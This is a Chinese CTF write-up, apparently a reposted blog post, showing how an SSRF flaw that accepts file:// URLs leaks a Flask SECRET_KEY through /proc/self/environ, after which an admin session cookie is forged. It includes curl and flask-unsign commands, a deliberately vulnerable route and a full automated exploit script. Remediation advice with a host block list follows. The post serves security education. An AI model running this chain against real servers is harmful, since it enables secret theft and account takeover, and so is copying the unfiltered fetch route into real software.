文章总结: 本文详细记录了CTFWeb题目中利用SSRF漏洞读取服务器本地文件获取Flask应用的SECRET_KEY,并通过伪造Session实现从guest到admin权限提升的完整渗透测试流程。文章包含漏洞原理分析、实操步骤演示(环境侦察、SSRF验证、密钥提取、Session伪造)以及完整的Python自动化利用脚本,最后提供了修复建议包括协议白名单限制和Session存储安全加固。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,CTF
AI渗透测试 — 从 SSRF 读取密钥到权限提升的完整链路
原创
syuhsao syuhsao
网络安全者
2026年6月18日 10:08 河南
在小说阅读器读本章
去阅读
一、前言
本文记录一道 CTF Web 题的完整解题过程,涉及两个核心漏洞的组合利用:
- • SSRF(服务端请求伪造):通过
/read端点读取服务器本地文件 - • Flask Session 伪造:利用泄露的
SECRET_KEY重新签名 Session,实现身份提升
⚠️ 本文仅用于 CTF 学习与安全研究,所有操作均在授权靶机环境下进行。
二、漏洞原理
3.1 Flask Session 机制
Flask 默认使用客户端 Session,Session 数据以 Base64 编码后用 SECRET_KEY 进行 HMAC 签名,存储在 Cookie 中。
Cookie 格式:<base64_payload>.<timestamp>.<hmac_signature>
如果 SECRET_KEY 泄露,攻击者可以:
- 1. 解码现有 Session
- 2. 篡改 payload(如将
guest改为admin) - 3. 用泄露的密钥重新签名
- 4. 发送伪造的 Session Cookie
3.2 SSRF 读取本地文件
应用提供了一个 /read?url= 接口用于抓取网页,但没有限制 URL 协议。攻击者可以使用 file:// 协议读取服务器本地文件,从而获取应用源码或环境变量中的敏感配置。
三、侦察阶段
4.1 获取初始 Session Cookie
向目标发送请求,观察响应头:
curl -sI "https://[TARGET_HOST]/"
响应中包含:
Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]; HttpOnly; Path=/
4.2 解码 Session Cookie
使用 flask-unsign 工具解码:
pip install flask-unsign
flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]"
输出结果:
{'username': 'guest'}
Session 中存储了用户名字段,目标是将其伪造为 admin。
四、漏洞利用
5.1 验证 SSRF 漏洞
先测试能否读取公网资源,验证功能正常:
curl -s "https://[TARGET_HOST]/read?url=https://baidu.com"
# 返回百度首页 HTML,说明功能可用
然后尝试 file:// 协议读取本地文件:
curl -s "https://[TARGET_HOST]/read?url=file:///etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
SSRF 漏洞确认存在,file:// 协议未被过滤。
5.2 读取进程环境变量
Flask 应用的 SECRET_KEY 通常通过环境变量注入,读取 /proc/self/environ:
curl -s "https://[TARGET_HOST]/read?url=file:///proc/self/environ"
HOSTNAME=[CONTAINER_ID]
PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_KEY=[REDACTED]
FLASK_APP=app.py
...
成功获取到 SECRET_KEY。
5.3 尝试读取应用源码
作为补充验证,也可以直接读取 Flask 应用源文件:
curl -s "https://[TARGET_HOST]/read?url=file:///app/app.py"
典型的存在漏洞的 /read 路由实现如下(复现参考):
import requests
from flask import Flask, request, session, redirect
app = Flask(__name__)
app.secret_key = "[REDACTED]"# 硬编码或从环境变量读取
@app.route('/read')
defread():
url = request.args.get('url', '')
# 漏洞点:未对 url 参数做协议白名单过滤
resp = requests.get(url)
return resp.text
@app.route('/')
defindex():
if session.get('username') != 'admin':
session['username'] = 'guest'
return '...'
关键问题:requests.get(url) 支持 file:// 协议(依赖版本),且无协议白名单校验。
5.4 伪造 Session Cookie
获取 SECRET_KEY 后,用 flask-unsign 重新签名:
# 伪造 admin 身份的 Session
flask-unsign --sign \
--cookie "{'username': 'admin'}" \
--secret '[REDACTED_SECRET_KEY]'
生成新的 Cookie:
eyJ1c2VybmFtZSI6ImFkbWluIn0.[NEW_TIMESTAMP].[NEW_SIGNATURE]
也可以用 Python 手动实现,便于理解原理:
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
classMockApp:
secret_key = "[REDACTED_SECRET_KEY]"
config = {}
# 序列化器
app = MockApp()
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)
# 伪造 payload 并签名
forged = serializer.dumps({'username': 'admin'})
print(f"[+] Forged Cookie: {forged}")
# 验证解码
decoded = serializer.loads(forged, max_age=None)
print(f"[+] Decoded: {decoded}")
输出:
[+] Forged Cookie: eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]
[+] Decoded: {'username': 'admin'}
5.5 使用伪造 Cookie 访问
携带伪造的 Session Cookie 发送请求:
curl -s "https://[TARGET_HOST]/" \
-H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]"
服务端验证身份通过,返回 flag:
ctfshow{[REDACTED_FLAG]}
五、完整利用脚本
#!/usr/bin/env python3
"""
Flask Session 伪造 + SSRF 利用脚本
用途:CTF 学习 / 安全研究
环境:授权靶机
"""
import requests
from flask.sessions import SecureCookieSessionInterface
TARGET = "https://[TARGET_HOST]"
classMockApp:
"""模拟 Flask app,仅用于 Session 签名"""
def__init__(self, secret_key):
self.secret_key = secret_key
self.config = {}
defssrf_read(url: str) -> str:
"""通过 SSRF 读取任意 URL / 本地文件"""
resp = requests.get(f"{TARGET}/read", params={"url": url}, timeout=10)
return resp.text
defextract_secret_key(environ_content: str) -> str:
"""从 /proc/self/environ 内容中提取 SECRET_KEY"""
for item in environ_content.split('\x00'):
if item.startswith('SECRET_KEY='):
return item.split('=', 1)[1]
return""
defforge_session(secret_key: str, payload: dict) -> str:
"""用指定 SECRET_KEY 伪造并签名 Flask Session"""
app = MockApp(secret_key)
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)
return serializer.dumps(payload)
defmain():
# Step 1: 验证 SSRF
print("[*] Step 1: 测试 SSRF ...")
passwd = ssrf_read("file:///etc/passwd")
if"root:"in passwd:
print("[+] SSRF 可用,成功读取 /etc/passwd")
else:
print("[-] SSRF 不可用,退出")
return
# Step 2: 读取环境变量获取 SECRET_KEY
print("[*] Step 2: 读取 /proc/self/environ ...")
environ = ssrf_read("file:///proc/self/environ")
secret = extract_secret_key(environ)
ifnot secret:
print("[-] 未找到 SECRET_KEY,尝试读取源码 ...")
# 备选:读取 app.py
source = ssrf_read("file:///app/app.py")
print(source[:500])
return
print(f"[+] SECRET_KEY 获取成功(已脱敏): {'*' * len(secret)}")
# Step 3: 伪造 Session
print("[*] Step 3: 伪造 admin Session ...")
forged_cookie = forge_session(secret, {'username': 'admin'})
print(f"[+] 伪造 Cookie 生成成功")
# Step 4: 使用伪造 Cookie 访问
print("[*] Step 4: 使用伪造 Session 访问 / ...")
resp = requests.get(
f"{TARGET}/",
cookies={"session": forged_cookie},
timeout=10
)
print(f"[+] 响应内容: {resp.text}")
# 尝试查找 flag
if"ctfshow{"in resp.text:
import re
flags = re.findall(r'ctfshow\{[^}]+\}', resp.text)
for f in flags:
print(f"[!] FLAG: {f}")
if __name__ == "__main__":
main()
六、漏洞修复建议
| 漏洞 | 修复方案 |
| — | — |
| SSRF | 使用协议白名单(仅允许 https://),禁止 file://、gopher:// 等;校验目标 IP 不在内网段 |
| SECRET_KEY 泄露 | 使用强随机密钥(建议 32 字节以上),不通过环境变量明文传递,避免在源码中硬编码 |
| Session 信任 | 对敏感操作增加服务端 Session 存储(如 Redis),不完全依赖客户端 Cookie 中的数据 |
安全的 SSRF 防护示例:
from urllib.parse import urlparse
ALLOWED_SCHEMES = {"https", "http"}
BLOCKED_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0", "169.254.169.254"}
def safe_fetch(url: str) -> str:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"不允许的协议: {parsed.scheme}")
if parsed.hostname in BLOCKED_HOSTS:
raise ValueError(f"不允许访问内网地址")
# 还需检查 DNS 解析后的 IP 是否为内网地址(TOCTOU 防护)
resp = requests.get(url, timeout=5, allow_redirects=False)
return resp.text
七、总结
这道题的核心是两个漏洞的链式利用:SSRF 作为信息收集手段,最终目的是获取 Flask 的 SECRET_KEY;拿到密钥后,Flask Session 的客户端签名机制就形同虚设,可以任意伪造身份。
攻击链路:/read 未过滤 file:// → 读取 /proc/self/environ → 获取 SECRET_KEY → 伪造 admin Session → 获取 Flag
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 syuhsao syuhsao《AI渗透测试 — 从 SSRF 读取密钥到权限提升的完整链路》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论